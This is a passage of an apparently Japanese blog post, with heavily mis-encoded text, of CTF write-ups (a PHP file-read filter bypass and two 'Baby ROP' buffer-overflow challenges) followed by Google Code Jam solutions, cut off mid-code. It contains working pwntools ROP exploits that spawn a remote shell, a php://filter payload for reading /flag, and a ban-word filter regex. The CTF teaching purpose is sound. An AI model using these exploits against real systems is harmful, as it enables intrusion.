ä¸ããããããã°ã©ã ãèªãã§ã¿ãã¨ãå ¥åã25æåãã¤ã«åºåã£ã¦ããããuint8ã¨ãã¦5x5è¡åã«ãã¦ãå¥ã®å®æ°ã®è¡åã¨ï¼mod 251ã§ï¼æãåããã¦ããã®çµæã16é²æ°ã§ç¹ãã¦åºåãã¦ããããã°ã©ã ã®ããã ã£ãããªãã§ãæéä½ä¸ã§ã®éè¡åãæ±ã¾ãã°ããã§çµããã£ã½ããã ãã©ãã¹ã¯ã©ããã§æ¸ãã®ããã©ãããããæ¢åã®å®è£ ãããåãããªãã£ãã®ã§SMTã½ã«ãã¼ã«è§£ããããã¨ã«ããã
import Control.Monad import Data.List import Data.SBV input = [[[234, 89, 41, 233, 126], [247, 120, 6, 187, 67], [236, 48, 63, 48, 70], [115, 222, 25, 247, 230], [142, 221, 195, 71, 243]], [[55, 62, 228, 192, 182], [98, 188, 55, 118, 79], [116, 203, 184, 187, 146], [25, 231, 181, 219, 197], [156, 164, 164, 32, 24]]] mat = [[1, 3, 2, 9, 4], [0, 2, 7, 8, 4], [3, 4, 1, 9, 4], [6, 5, 3, -1, 4], [1, 4, 5, 3, 5]] main :: IO () main = do print =<< (sat $ gemm mat (input !! 0) True) print =<< (sat $ gemm mat (input !! 0) False) print =<< (sat $ gemm mat (input !! 1) True) print =<< (sat $ gemm mat (input !! 1) False) gemm :: [[Int]] -> [[Int]] -> Bool -> Symbolic () gemm b c flip = do a <- forM [0..4] $ \i -> do forM [0..4] $ \j -> do e <- sInt32 $ "a_" ++ show i ++ "_" ++ show j constrain $ e .>= 0x20 &&& e .<= 0x7f return e b <- return $ map (map fromIntegral) b c <- return $ map (map fromIntegral) c (a, b) <- return $ if flip then (b, a) else (a, b) let c_ = [ [ sum (zipWith (*) r c) `sMod` 251 | c <- transpose b ] | r <- a ] constrain $ c .== c_
è¡åç©ãä¸è´ãã¦ãããã©ãããæ¯è¼ããã ãã®ãã¤ã¼ããªã³ã¼ããåºåã¯è¡å2ååã§ããããè¡åãå³ããæãããå·¦ããæãããã©ã³ãã ãªå®è£ ã«ãªã£ã¦ããã®ã§ã両æ¹è©¦ããå ¥åã¯æååã ã¨åãã£ã¦ããã®ã§å¶ç´ãæãã¦ãããªãã¨å¤§ããæ°ãåºã¦ãã¦ãã¾ãã®ã§ã¡ããã¨ç¯å²ãå ¥ãã¦ããå¿ è¦ãããããããããã®ãµã¤ãºãªãz3ã§1åç¨åº¦ã§æ±ã¾ã£ãã
Encode & Encode
ãªãããã¡ã¤ã«ãã¹ãæå®ããããããfile_get_contents()
ãã¦è¿ãã¦ãããPHPã®Webã¢ããªãä¸ããããã®ã§ããã©ã°ã®ãã¡ã¤ã«åä¸ãã¦ä¸èº«æãã¦ãããã¨ããåé¡ã®ããã ããã
function is_valid($str) { $banword = [ // no path traversal '\.\.', // no stream wrapper '(php|file|glob|data|tp|zip|zlib|phar):', // no data exfiltration 'flag' ]; $regexp = '/' . implode('|', $banword) . '/i'; if (preg_match($regexp, $str)) { return false; } return true; }
ãã¡ã¤ã«ã®ãã¹ã«ç¹å®ã®æååãå ¥ã£ã¦ãããã¯ããããå¦çãå ¥ã£ã¦ãããã
$content = preg_replace('/HarekazeCTF\{.+\}/i', 'HarekazeCTF{<censored>}', $content);
ãã¡ã¤ã«ã®ä¸èº«ã«ãã©ã°ãå ¥ã£ã¦ãããæ¶ããããããå¦çãå ¥ã£ã¦ããã®ã§äºæ®µéã§ãããçªç ´ããå¿ è¦ãããã
1ã¤ç®ã«é¢ãã¦ã¯ããã¡ã¤ã«åã®ãã§ãã¯ãjsonã®ãã³ã¼ãã®åã«è¡ããã¦ããã¨ããåé¡ã®ããã³ã¼ãã«ãªã£ã¦ãã®ã§ããããçªãã¦æååãjsonã®ã¨ã¹ã±ã¼ãæåã§ã¨ã¹ã±ã¼ããã¦éãã°çªç ´ã§ããããã©ã°ãå ¥ã£ã¦ãããã¹ã¯ "/flag" ãªã®ã§ãã¨ãããã "/\u0066lag" ã¨ãéã£ã¦ããã¨censoredããããã©ã°ãã²ããã§ããã
2ã¤ç®ã«é¢ãã¦ã¯ãphpã®ã¹ããªã¼ã ãã£ã«ã¿ã¼ã¨ãããã®ã§çªç ´ã§ããã"php://filter/read=<ãªããé¢æ°>/resource=<å ¥åãªã½ã¼ã¹>" ã¨ãããã¨ãå ¥åã«å¯¾ãã¦ä»»æã®ï¼ï¼ï¼phpã®é¢æ°ãé©ç¨ããªããèªãã§ãããã¿ããã ããªã®ã§ãä»å㯠"php://filter/read=convert.base64-encode/resource=/flag" ã¨ãããã¨ãbase64ã§ã¨ã³ã³ã¼ãããå 容ãè²°ããã®ã§ãã§ãã¯ãåé¿ã§ããããã®ãã¹ä¸ã® "php"ã¨"flag"ããã¹ãã§ãã¯ã«å¼ã£ãããã®ã§ã"\u0070hp://filter/read=convert.base64-encode/resource=/\u0066lag" ã¨ãã¦éãã°ãã©ã°ãbase64ã¨ã³ã³ã¼ããããã®ãã²ããã§ããã
(´・_ï½¥`).oOï¼ãªãã ãããPHPé ããããã ãã・・・ï¼
Baby ROP
ãµã¼ãã¼ãããã¯ãã¦éµã²ããããã¿ãããªåé¡ãããã°ã©ã ã®ãã¤ããªã¯è²°ãããã¨ããããéã³ã³ãã¤ã«ãã¦ã¿ããããããªåç´ãªããã°ã©ã ã ã
undefined8 main(void) { undefined local_18 [16]; system("echo -n \"What\'s your name? \""); __isoc99_scanf(&DAT_004006c5,local_18); printf("Welcome to the Pwn World, %s!\n",local_18); return 0; }
ã©ãè¦ã¦ããããã¡ãªã¼ãã¼ããã¼ããå±ãªãã³ã¼ãã ãã©ãå®éå ·ä½çã«æ»æãããã¨ã¯ãªãã£ãã®ã§ãªããªãé£ããã£ãã
ãã®åé¡ã®ãã¢ã¯systemé¢æ°ãå¼ã°ãã¦ãããã¨ã¿ããã ãsystemãå¼ã°ãã¦ãããã¨ã§ããªãã±ã¼ã·ã§ã³ãããªãæ¬ä½ã®ãã¤ããªã®åºå®ã®ã¢ãã¬ã¹ã«ãsystemé¢æ°ã¸ã®ãµã³ã¯é¢æ°ãä½ãããããªã®ã§ãæ ¼æ®µã«æ»æãããããããªã£ã¦ããã¿ããã ã
ã¢ã»ã³ããªã³ã¼ããèªãã¨ããã®é¢æ°ã¯ã¹ã¿ãã¯8ãã¤ã使ã£ã¦ãã®ã§ãripã®ä¿åå ãscanfã®ãããã¡ã¼ã®24ãã¤ãç®ããã«ãªã£ã¦ãããã¨ãåããããªã®ã§ãããã«æ¸ãã¦ããã°retã§å¥½ããªã¢ãã¬ã¹ã«é£ã¹ãã
ããã§systemé¢æ°ã«é£ã³ããã®ã ããx86_64ã§ã¯1ã¤ç®ã®ãã¤ã³ã¿å¤æ°ãrdiã¬ã¸ã¹ã¿ã§æ¸¡ãããã®ã§ããããã¡ãªã¼ãã¼ããã¼ã§ã¯ç´æ¥æ¸ãè¾¼ããªãããªã®ã§ãrdiã«popããã³ã¼ããçµç±ãã¦rdiã«å¥½ããªå¤ãæ¸ãè¾¼ã¾ãããããã°ã©ã ä¸ã« pop rdi; ret
ã¨ããå½ä»¤åãåå¨ãã¦ããã°ãããã«é£ã¶ãã¨ã«ãã£ã¦rdiã«å¥½ããªå¤ãæ¸ãè¾¼ã¾ãã¦å¥½ããªé¢æ°ãã³ã¼ã«ã§ãããã¨ã«ãªãã
ãããªé½åã®è¯ãå½ä»¤åãããã®ãï¼ã¨ããã¨å®éã«ããã¿ããã ã__libc_csu_init()
ã®æå¾ã®é¨åã
... 00400682 41 5f POP R15 00400684 c3 RET
pop r15
ã®2ãã¤ãã®ãã¡ãå¾ã1ãã¤ãã ãã ã¨pop rdi
ã«ãªããã§ã0x00400683ããã ã¨ã
... 00400683 5f POP RDI 00400684 c3 RET
ã«ãªãã¿ããã ãããã使ãã°ã
ããããé ã§ã¡ã¢ãªãæ¸ãã¦ããã°ã好ããªå¼æ°ã§system()
ãå¼ã³åºãããsystem
ã§ä½ãå¼ã³åºãã®ãï¼å°ãããã¤ããªãªã®ã§åå¨ããæååã¯éããã¦ããããsystem
ã/bin/sh
ãå©ç¨ããé½åä¸ã"/bin/sh"
ã¯åå¨ãã¦ãããã¨ããããã¾ãã«ãããå¼ã³åºãã¦ãã¾ãã°ãªã¢ã¼ããã·ã³ã§ã·ã§ã«ã好ãæ¾é¡ããããã
ã¨ããããã§ãçµå±ãä½ãéãã°è¯ãã®ãã¨ããã¨ãé©å½ãªæå24ãã¤ãï¼pop rip; ret
ã®ã¢ãã¬ã¹ï¼"/bin/sh"ã®ã¢ãã¬ã¹ï¼system
ã®ã¢ãã¬ã¹ãã¨è¨ããã¨ã«ãªãã
ãããã·ã³ã·ã³çµã¿ç«ã¦ãã°ããã®ã ãããªããpythonã®pwntools ã¨ãããããç¨ã®å¦çãæ½è±¡çã«çµã¿ç«ã¦ãããæ»ã¬ã»ã©ä¾¿å©ãªãã¼ã«ããããããã®ã§ããã使ã£ã¦ã¿ãã
from pwn import * context.clear(arch='amd64') context.log_level = 'debug' io = remote('problem.harekaze.com', 20001) # "/bin/sh" ã®ã¢ãã¬ã¹åå¾ elf = ELF("./babyrop") binsh = next(elf.search('/bin/sh')) # system("/bin/sh") ãå¼ã³åºãããã®ãã¤ãåãä½ã£ã¦ãããã㤠rop = ROP('./babyrop') rop.system(binsh) # print rop.dump() io.recv() # "What's your name?" åä¿¡ # cyclic()ã¯de Bruijn sequenceãä½ã£ã¦ãããé¢æ° # rop.chain()ã¯çµã¿ç«ã¦ããã¤ãåãè¿ã payload = cyclic(24) + rop.chain() io.sendline(payload) # å ¥åºåã端æ«ã«ç¹ãã§ããããæ¾é¡ io.interactive()
ãªãã ãã®ãã¼ã«ã¯ï½¥ï½¥ï½¥ãªããããããæãããã¦ã¦ãã°ãããã
ããã§ä»äººã®ãã·ã³ã«shãã¦ã³ãã³ãå®è¡ãã¾ãããããã«ãªã£ãã®ã ããå®éãã£ã¦ã¿ãã¨ã¾ãã§ã§ãã¡ãããã ・・・ã¨ããæããå¼·ãã¦ãæãã・・・æããã©ãªãã ãæãéããæããã£ã¦ãããæã・・・(((´・_ï½¥`))).oO(ã¨ããããã¹ã¿ãã¯ãªã¼ãã¼ããã¼ã«ã¯æ°ãã¤ããããªï½¥ï½¥ï½¥ã¾ãã¯Cè¨èªä½¿ãã®ãããã¨ããããå§ãããã)
ã¡ãªã¿ã«ãããã£ã¦returnã§é¢æ°å¼ã³åºããªããããã°ã©ã å®è¡ãã¦ããã®ãreturn oriented programming (ROP)ã¨å¼ã¶ãããããã®éã«ä½¿ãããã¤ããªä¸ã®æç¨ï¼æç¨ã¨ã¯ï¼ãªå½ä»¤åãgadgetã¨ãå¼ã¶ãããã
Baby ROP 2
ãã£ãããã¡ãã£ã¨é£ãããªã£ããã¼ã¸ã§ã³ã
ä»åº¦ã¯libcãåçãªã³ã¯ããã¦ãã¦ãããã¾ã便å©ãªé¢æ°ã使ããã¦ããªãã®ã§ããããã¸ã®éçãªã¢ãã¬ã¹ãæã«ã¯å ¥ããªãã
undefined8 main(void) { ssize_t sVar1; undefined local_28 [28]; int local_c; setvbuf(stdout,(char *)0x0,2,0); setvbuf(stdin,(char *)0x0,2,0); printf("What\'s your name? "); sVar1 = read(0,local_28,0x100); local_c = (int)sVar1; local_28[(long)(local_c + -1)] = 0; printf("Welcome to the Pwn World again, %s!\n",local_28); return 0; }
ãªãã§28ãã¤ãã®ãããã¡ã¼ã«å ã ã¨0x100ãã¤ãreadãã¦ããã ã¨ãããã³ãã©ããã¯ããããã©ãæ»æããã®ã¯çµæ§é£ããã
libcãåçãªã³ã¯ãããã®ã§ããªãã¨ãããã®systemãå¼ã³åºãããããæè¿ã®ï¼æè¿ã¨ã¯ï¼Linuxã§ã¯ãåçãªã³ã¯ãããã¢ãã¬ã¹ãã¹ã¿ãã¯ã¢ãã¬ã¹ã¯ã»ãã¥ãªãã£ã¼ã®ããã«ã©ã³ããã¤ãºãããã®ã§ãã¾ãã¯ãã®ã¢ãã¬ã¹ãç¹å®ãã¦ãããªããã°ãªããªããç¹å®ããä¸ã§ããã»ã¹ãçµäºãããã«å度èå¼±æ§ã®ããå ¥åãè¡ããããªãã¨ãããªãã
ã¨ããããåºå®ã¢ãã¬ã¹ãå¾ãããé¢æ°ã¨ãã¦ã¯ããã°ã©ã ä¸ã§ä½¿ããã¦ããsetvbuf
ã¨read
ã¨printf
ã®3ã¤ã ãããã®ãã¡æ
å ±ã®æ¼æ´©ã«ä½¿ããã®ã¯printf
ã ãã ããã®printf
ã§ãprintf
ã®gotã¨ã³ããªã¼ã®å¤ã表示ããããgotã«ã¯ãã¼ããããå®ä½ã¸ã®ã¢ãã¬ã¹ãå®è¡æã«è§£æ±ºããã¦å
¥ã£ã¦ããã®ã§ãããã表示ããã¦æã«å
¥ãã¦ãsoãã¡ã¤ã«ä¸ã§ã®ãªãã»ããããå¼ãã¦ããã°ãlibcãã©ãã«ãã¼ãããããå¤æããã
from pwn import * context.clear(arch='amd64') context.log_level = 'debug' io = remote('problem.harekaze.com', 20005) elf = ELF('babyrop2') libc = ELF('libc.so.6') printf_got = elf.got['printf'] printf_offset = libc.symbols['printf'] rop = ROP('./babyrop2') # printf(printf_got + 1) ãå¼ã³åºããã¤ãåã®ç©ã¿è¾¼ã¿ rop.printf(printf_got + 1) # "What's your name?" èªã¿é£ã°ã io.recv() # ä»åã¯ãªãã»ããã¯40ãã¤ã payload = cyclic(40) + rop.chain() io.sendline(payload) # "Welcome to the Pwn again, .... " èªã¿é£ã°ã io.recv() # printf(printf_got + 1) ã表示ãããã®ï¼5ãã¤ãï¼ãåä¿¡ãã¦æ°å¤ã«å¤æ printf_libc = u64(b'\x00' + io.recv(5) + b'\x00' * 2) # ãªãã»ãããå¼ãã¦libcã®ãã¼ããããã¢ãã¬ã¹ãè¨ç®ãã libc_base = printf_libc - printf_offset
ã¹ã¿ãã¯ã«printfã®gotã¨ã³ããªã¼ãprintfããããã«ç©ãã§ããã®ä¸èº«ã表示ãããããã ä½åãå®è¡ãã¦ããä¸ä½1ãã¤ãã¯å¿ ã0ã«ãªãã¨ããã«ãã¼ãããããããã®ã§ãä½ã表示ãããªãï¼æåånullçµç«¯ãªã®ã§0ããã ã¨ä½ã表示ãããªãï¼ããªã®ã§ã+1ããã¢ãã¬ã¹ãã表示ãã¦ããããã¨ã«ãããã¾ãã7ï¼8ãã¤ãç®ãå¿ ã0ã«ãªãã¿ãããªã®ã§ï¼ããããã°è«çã¢ãã¬ã¹48ãããã ã£ããï¼çµå±ç¢ºå®ã§éããã¦ããã®ã¯2ãã¤ãç®ãã6ãã¤ãç®ã¾ã§ã®æé·5ãã¤ãã§ããï¼éãæªãã¨éä¸ã§0ãå ¥ã£ã¦ãã¾ããã確çã¯é«ããªããä½åãããã°è¯ãï¼ã
ã§ãlibcã®ã¢ãã¬ã¹ãæã«ã¯å ¥ã£ããã次ã®ããã»ã¹ã§ã¯ã¾ãå¤ãå¤ãã£ã¦ãã¾ãã®ã§ãåãããã»ã¹ã§ãªãã¨ããã®å¤ã使ã£ã¦systemãå¼ã³åºããªããã°ãªããªãããããã©ãããã°è¯ãã®ãã¨ããã¨ãmainãå度å¼ã³åºãã¦ãã¾ãã°è¯ããprintfããretããå¾ã次ã«å®è¡ãããã®ã¯ããã®+8ã®ã¢ãã¬ã¹ã«ãªãã®ã§ãããã«mainã®ã¢ãã¬ã¹ãæ¸ãã¦ããã°printfããå¾ã«mainãå¼ã³åºããããã¨ãã§ããã
ããã§ããµã¼ãã¼ã¯ã¾ãã¾ã¨ã¾ãå
¥åãåãä»ããããã«ãªãã®ã§ãå度ãä»åº¦ã¯system("/bin/sh")
ãå®è¡ããããã¤ãåãéã£ã¦ããã°è¯ãã
system_offset = libc.symbols['system'] binsh_offset = next(libc.search('/bin/sh')) # "What's your name?" èªã¿é£ã°ã io.recv() rop = ROP('./babyrop2') # ãªãã»ããã足ãã¦ã¢ãã¬ã¹è¨ç®ãã¦ç©ã rop.call(libc_base + system_offset, [libc_base + binsh_offset]) payload = cyclic(40) + rop.chain() io.sendline(payload) # 端æ«ã«ç¹ã io.interactive()
ããã§ä¹ã£åãå®äºã
äºæ®µéã§æ»æããã®ãçµæ§å¤§å¤ã§ããããã調ã¹ã¦åå¼·ã«ãªã£ããããããããªã³ã¼ãã§ä¹ã£åããã¦ãã¾ããã ãªãã¨è¨ãå°è±¡ãå¼·ãã¦ãæã£ãããä¸ã®ä¸æããããã ãªã¨ã
Twenty-five
ã¢ã«ãã¡ããããã·ã£ããã«ãããppencodeãããperlã®ã³ã¼ããä¸ããããã®ã§ãå ã«æ»ãã¦å®è¡ããã¨ããåé¡ã
åå¨ããäºç´èªããå¶ç´æ¸ãã¦è§£ãã°è§£ããã¨æãããããã©ãããã£ãã®ã§ãæã§ç¢ºå®ããæåããé ã«åãã¦ãã£ããzãé¤ã25æåãããªãããããããã風ã«ä½ããã¦ãã®ãåãããªãããã©ããã¹ã¦ç¢ºå®çã«æ±ºã¾ã£ã¦ãã£ãã
[a-z().]
JavaScriptã§[a-z().]
ãªæåã®ã¿ã使ã£ã¦1337ãä½ãã¨ããåé¡ãã³ã¼ãé·ã¯200æåæªæºã§ãªããã°ãããªãã
JavaScriptã¯å
¨ç¶è©³ãããªãã®ã§ææ¢ãæããããã£ãããnodeã®replã§ãããããããããã¦ããã¨ãé¢æ°.name
ã§é¢æ°åãæååã¨ãã¦åãããã¨ãåãã£ãããªã®ã§ãããã®.length
ãåãã°ãªãããã®æ°ãä½ãããæ°ãæååã®é·ãã¨ãã¦è¡¨ããªããããç®ã¯a.repeat(b.length)
ã ãã足ãç®ã¯a.concat(b)
ã ããå¼ãç®ã¯a.substr(b.length)
ã§ããã
JavaScriptã¯builtiné¢æ°ãæå¤ã¨å°ãªãã¦ããªããã¤å¤§æåã使ããªãã®ã§ã©ãããåºæ¬ã®æååå¼ã£å¼µã£ã¦ãããæ©ã¾ããã£ãããã¨ãããã4 = eval.name.length
ã6 = escape.name.length
ã8 = unescape.name.length
ã7 = console.profile.name.length
ãããã®æ°ãæ¾ããã
ãã§ã1337ãã©ã表ç¾ãããã§ããããããããããã¦ãã 7*6*8*4-7
ã¨ããå¼ãåºã¦ããã®ã§ãããããã£ãã®ã«ã¼ã«ã§å¤æãã¦ããã¨
console.profile.name.repeat(escape.name.length).repeat(unescape.name.length).repeat(eval.name.length).substr(console.profile.name.length).length
ã¨ããããã°ã©ã ãã§ãããã£ãï¼145æåï¼ã
ããã¯ãªããæçãç®æãã¨é¢ç½ãåé¡ãªæ°ãããããã¨ä»æ°ä»ãããã©typeof(x)
ã¨ãã®æ¹ãçããªããããªæ°ãããã
Google Code Jam 2019 Qualification Round
ãã£ãããªã®ã§è¨é²ä»ãã¦ã¿ããã¨æãã¾ãã
Foregone Solution
10é²è¡¨è¨ã§'4'ãä¸ã¤ä»¥ä¸å«ãæ°N(<=10100)ãä¸ããããã®ã§ãN=A+Bãªã'4'ãå«ã¾ãªãæ°AãBã«å解ãããã¨ããåé¡ã
Nã®ãã¡'4'ã®æ¡ã'3'ã«ãããã®ãAã'4'ã®æ¡ã'1'ããã以å¤ã®æ¡ã'0'ã«ãããã®ãBã«ããã°ãããç°¡åããã¦è±èªãã¡ããã¨èªããã®ãä¸å®ã«ãªãåé¡ãå ¥åã100æ¡ãããæ¥ããããªã®ã§ãintã«ç´ããæååã®ã¾ã¾ãããªãã¨å¤åé·ãæ±ãã«ããè¨èªã§ã¯é£ããã
fn main() { input! { n: usize, ns: [chars; n], } for (i, n) in ns.into_iter().enumerate() { let mut a = vec![]; let mut b = vec![]; for c in n { if c == '4' { a.push('3'); b.push('1'); } else { a.push(c); if b.len() > 0 { b.push('0'); } } } println!( "Case #{}: {} {}", i + 1, a.iter().collect::<String>(), b.iter().collect::<String>() ); } }
You Can Go Your Own Way
NÃN(<=50000)ã®æ ¼åãå·¦ä¸ããå³ä¸ã¾ã§ãå³ã¨ä¸ã®ç§»åã®ã¿ã§ç§»åãããã¹ãä¸ããããã®ã§ããã®ãã¹ã¨è¢«ããªããããªåããå·¦ä¸ããå³ä¸ã«å³ã¨ä¸ã®ç§»åã®ã¿ã§ç§»åãããã¹ãæ±ããã¨ããåé¡ã
å ã®ãã¹ã§å¯¾è§ç·ã¨äº¤å·®ãããããªç¹ã¾ã§ã®ç§»åã«ã¤ãã¦ãæåã®ç§»åæ¹åãéã«ããã°ç°¡åã«éè¤ããªããã¹ãæ±ããããã®ã§ããããå®è£ ã«ãããã©ãããèããããã¨ãããå ¨ç¶ããèããªãã¦ããããå ã®ãã¹ã®å³ã¨ä¸å ¥ãæ¿ããã ãã§åãã¨ããéããªããã¹ãã§ãã¾ããâ¦ã
fn main() { input! { n: usize, qs: [(usize, chars); n], } for (i, (n, cs)) in qs.into_iter().enumerate() { let mut ans = vec![]; let mut head = ' '; let mut r = 0; let mut d = 0; for c in cs { if r == 0 && d == 0 { head = c; } if c == 'E' { r += 1; } else { d += 1; } if r == d { for _ in 0..r { ans.push(if head == 'E' { 'S' } else { 'E' }); } for _ in 0..r { ans.push(head); } r = 0; d = 0; } } println!("Case #{}: {}", i + 1, ans.iter().collect::<String>()); } }
Cryptopangrams
ç¸ç°ãªã26åã®ç´ æ°(<=10100)ãé¸ã³ãå°ããé ã«A...Zã®æåãå²ãå½ã¦ããã¢ã«ãã¡ããã大æåã ããããªãL+1æåã®å¹³æããã¹ãã«å¯¾ãã¦ãé£ãåãæåã«ããããå²ãå½ã¦ãããç´ æ°ã®ç©L(<=100)åãè¨ç®ãããããã®è¨ç®ãããLåã®ç©ãä¸ããããã®ã§ãå ã®ããã¹ããæ±ãããã¨ããåé¡ãå ã®ããã¹ãã¯å¿ ããã¹ã¦ã®ã¢ã«ãã¡ãããã1å以ä¸å«ããã¡ãªã¿ã«é¸ã°ããç´ æ°ã¯Nãè¶ ãã¾ãããã¨ããæ°ãä¸ãããããã©ãããå¶ç´ä»¥å¤ã«ä½ã«ä½¿ããã ããã
ç´ æ°ã¯æ大ã§10100ã¾ã§ããã¨ãã大ããªå¶ç´ãªã®ã§ãåã«ç´ å æ°å解ããã®ã¯ä¸å¯è½ããããé£ãåã£ãæ°ã¯å¿ ãåãç´ æ°ãç´ å æ°ã«æã¤ã®ã§ãgcdãã¨ãã°ç°¡åã«ç´ å æ°å解ã§ãããããå ã®ããã¹ããä¾ãã°"ABA"ãªã©ã¨ãªã£ã¦ããå ´åãP[A]ÃP[B] = P{B]ÃP[A] ãªã®ã§ãgcdã§ã¯ç´ å æ°å解ã§ããªããããã§ããå ¥åã¯ãã¹ã¦ã®æåã1å以ä¸å«ãã¨ããå¶ç´ãããã®ã§ãã©ãããã24ãæãããã¯å¿ ãç´ å æ°å解ã§ããã¨ããããããã©ããä¸ãæç´ å æ°å解ã§ããã¨ãããè¦ã¤ããã°ãããããå·¦å³ã«ã°ããã¦ããã°çµå±å ¨é¨ç´ å æ°å解ã§ããããã¹ã¦ã®æ°ãç´ å æ°å解ã§ããã°ããã¨ã¯ç´ å æ°ãéãã¦ãå°ããé ã«A..Zã®æåãå²ãå½ã¦ãããã«åºã¥ãã¦ããã¹ãã«æ»ãã°ããã
å®è£ ãæ¡å¤é¢åãªã®ã§ãWAç©ãã§ãã¾ã£ããå¤åé·æ±ãããã«ä¹ ãã¶ãã«ç«¶ããã§Haskellã使ã£ãã競ããã¯ãã£ã¨å¤åé·ä½¿ããã¦ãããã¨æããå ¥åã264ã«ãã£ããããããã«ãããªããªãã®ã¯ãã£ã±ãªããä¸èªç¶ãªæ°ãããã
{-# Language ScopedTypeVariables #-} import Control.Monad import Data.List import Data.Maybe import Text.Printf import Control.Exception main :: IO () main = do cases <- readLn forM_ [1..cases] $ \(caseno :: Int) -> do [n, l] :: [Int] <- map read . words <$> getLine ls :: [Integer] <- map read . words <$> getLine let g a b = let t = gcd a b in if t == a || t == b then Nothing else Just t let p1 = head $ catMaybes $ zipWith g ls $ tail ls let go1 (x:y:xs) p | x /= y && x`mod`p == 0 && y`mod`p == 0 = go3 xs (y `div` p) | otherwise = go1 (y:xs) p go3 [] p = p go3 (x: xs) p = assert (x`mod`p == 0) $ go3 xs (x `div` p) let initp = go1 (reverse ls) p1 let go2 [] p = [p] go2 (x:xs) p = p: go2 xs (x `div` p) let ps = go2 ls initp let dict = zip (sort $ nub ps) ['A'..] let ans = map (\p -> fromJust $ lookup p dict) ps printf "Case #%d: %s\n" caseno ans
ï¼ä¹ ãã¶ãã«Haskellæ¸ãããããã³ã¼ããæ±ãããï¼
Dat Bae
N(<=1024)åã®ã³ã³ãã¥ã¼ã¿ã¼ããã£ã¦ãåã³ã³ãã¥ã¼ã¿ã¼ã¯1ãããã ããã¼ã¿ãä¿åã§ããããã¹ã¿ã¼ã¯åã³ã³ãã¥ã¼ã¿ã¼ã«ä¿åãããNãããã®ãã¼ã¿ãä¸ãããã¨ãã§ãã¦ãåã³ã³ãã¥ã¼ã¿ã¼ã¯ãã®ä¿åããå¤ãè¿ããã¨ããããBå(<=15)ã®ã³ã³ãã¥ã¼ã¿ã¼ã¯å£ãã¦ãããå£ãã¦ããã³ã³ãã¥ã¼ã¿ã¼ã¯å¤ãè¿ããªããã¤ã¾ããä¸ããNãããã®ãã¡ã©ããBããããæ¬ æãããã®ãè¿ã£ã¦ããããã®ã¯ã¨ãªãF(=10 or 5)åã¾ã§è¡ããã¨ããã©ã®ã³ã³ãã¥ã¼ã¿ã¼ãå£ãã¦ããããç¹å®ããã¨ããã¤ã³ã¿ã©ã¯ãã£ãåé¡ã
Test set 1ã§ã¯ã¯ã¨ãªã¯10åã¾ã§è¡ããã210=1024ãªã®ã§ã¨ã¦ãé½åã®è¯ãå¶ç´ãè¦ãããããã§èãã¦ã¿ãã¨ãä¾ãã°ãåãã·ã³ãä¿åã§ããæ°ã0,1ã®2å¤ã§ã¯ãªããä»»æã®æ°ã«ã§ããå ´åãªãã©ããªããããã®å ´åã¯ã¨ã¦ãç°¡åã§ããã·ã³0ã«ã¯0ãããã·ã³1ã«ã¯1ãããã·ã³iã«ã¯iãããããä¿åããããã«æ示ããã¨ãã¾ãã«å£ãã¦ãããã·ã³ã®IDãæ¬ æãããªã¹ããè¿ã£ã¦ããã¯ãã§ãããã§ã¯1ãããããä¿åã§ããªãå ´åã¯ã©ãããã°ããã®ãèããã¨ã2é²ã®æ¡ã1æ¡ãã¤éã£ã¦ãã®çµæãã¾ã¨ããã°çµå±10ãããã®å¤ãæ±ããã®ã¨åããã¨ã«ãªãã0~1023ã®å¤ã®ã©ããæ¬ æãããããããã®ã§ã10åã¯ã¨ãªãã§ãããªããç°¡åã«ã©ã®ãã·ã³ãå£ãã¦ããã®ãç¹å®ã§ãããã¨ã«ãªãã
Test set 2ã§ã¯ã¯ã¨ãªã¯5åã¾ã§ããè¡ããªããåãããã«èããã¨ã符å·åã§ããã®ã¯0~31ã¾ã§ã«ãªããã¨ããããå£ãã¦ããå°æ°ã¯15å°ä»¥ä¸ãªã®ã§ãåãããã«ãã¦å£ãã¦ãããã·ã³ãç¹å®ã§ãã¦ãã¾ããåãã·ã³ã«ä¸ãããã¼ã¿ã0,1...31,0,1...31,...ã¨IDã®ä¸ä½5ãããã¨ããã¨ããã®ãã¡é«ã 15ãæãæãã¦è¿ã£ã¦ãããæããç®æã31ãæã¾ã§ã§ãããªãã°ãã¤ã¾ããå¨æ1ååã¾ãã¾ãæããã¨ãããããªãã¨ããªããã°ãå¨æçã«èãã¦ã©ããæãã¦ãããã¯ç°¡åã«æ±ãããããã¨ããããã§ãã¯ã¨ãªã5åã§ãå²ã¨ç°¡åã«ç¹å®ã§ãããåé¡ã®å¶ç´ã¯F=5ã ãã©ãå®éã«ã¯4åã§ã解ããæ°ãããã
// Leftoveré£ããããã«ãã¯ããããå æ¸ã«æ¹é ãã¦ãã // ããã¡ãã£ã¨ã¾ã¨ãã«ãããã«ãã¦ãã¼ã¸ããã #[allow(unused_macros)] macro_rules! input { (next = $e:expr, $($r:tt)*) => { input_inner!{$e, $($r)*} }; ($($r:tt)*) => { let stdin = std::io::stdin(); let mut bytes = std::io::Read::bytes(std::io::BufReader::new(stdin.lock())); let mut next = move || -> String{ bytes .by_ref() .map(|r|r.unwrap() as char) .skip_while(|c|c.is_whitespace()) .take_while(|c|!c.is_whitespace()) .collect() }; input_inner!{next, $($r)*} }; } #[allow(unused_macros)] macro_rules! input_inner { ($next:expr) => {}; ($next:expr, ) => {}; ($next:expr, $var:ident : $t:tt $($r:tt)*) => { let $var = read_value!($next, $t); input_inner!{$next $($r)*} }; ($next:expr, mut $var:ident : $t:tt $($r:tt)*) => { let mut $var = read_value!($next, $t); input_inner!{$next $($r)*} }; } #[allow(unused_macros)] macro_rules! read_value { ($next:expr, ( $($t:tt),* )) => { ( $(read_value!($next, $t)),* ) }; ($next:expr, [ $t:tt ; $len:expr ]) => { (0..$len).map(|_| read_value!($next, $t)).collect::<Vec<_>>() }; ($next:expr, chars) => { read_value!($next, String).chars().collect::<Vec<char>>() }; ($next:expr, bytes) => { read_value!($next, String).into_bytes() }; ($next:expr, usize1) => { read_value!($next, usize) - 1 }; ($next:expr, $t:ty) => { $next().parse::<$t>().expect("Parse error") }; } use std::io::Write; // æ¬æãããã fn main() { let stdin = std::io::stdin(); let mut bytes = std::io::Read::bytes(std::io::BufReader::new(stdin.lock())); let mut next = move || -> String { bytes .by_ref() .map(|r| r.unwrap() as char) .skip_while(|c| c.is_whitespace()) .take_while(|c| !c.is_whitespace()) .collect() }; input! { next = next, cases: usize, } for _ in 0..cases { input! { next = next, n: usize, b: usize, _f: usize, } let mut acc = vec![0; n - b]; for i in 0..5 { let mut test_case = vec![0; n]; for j in 0..n { 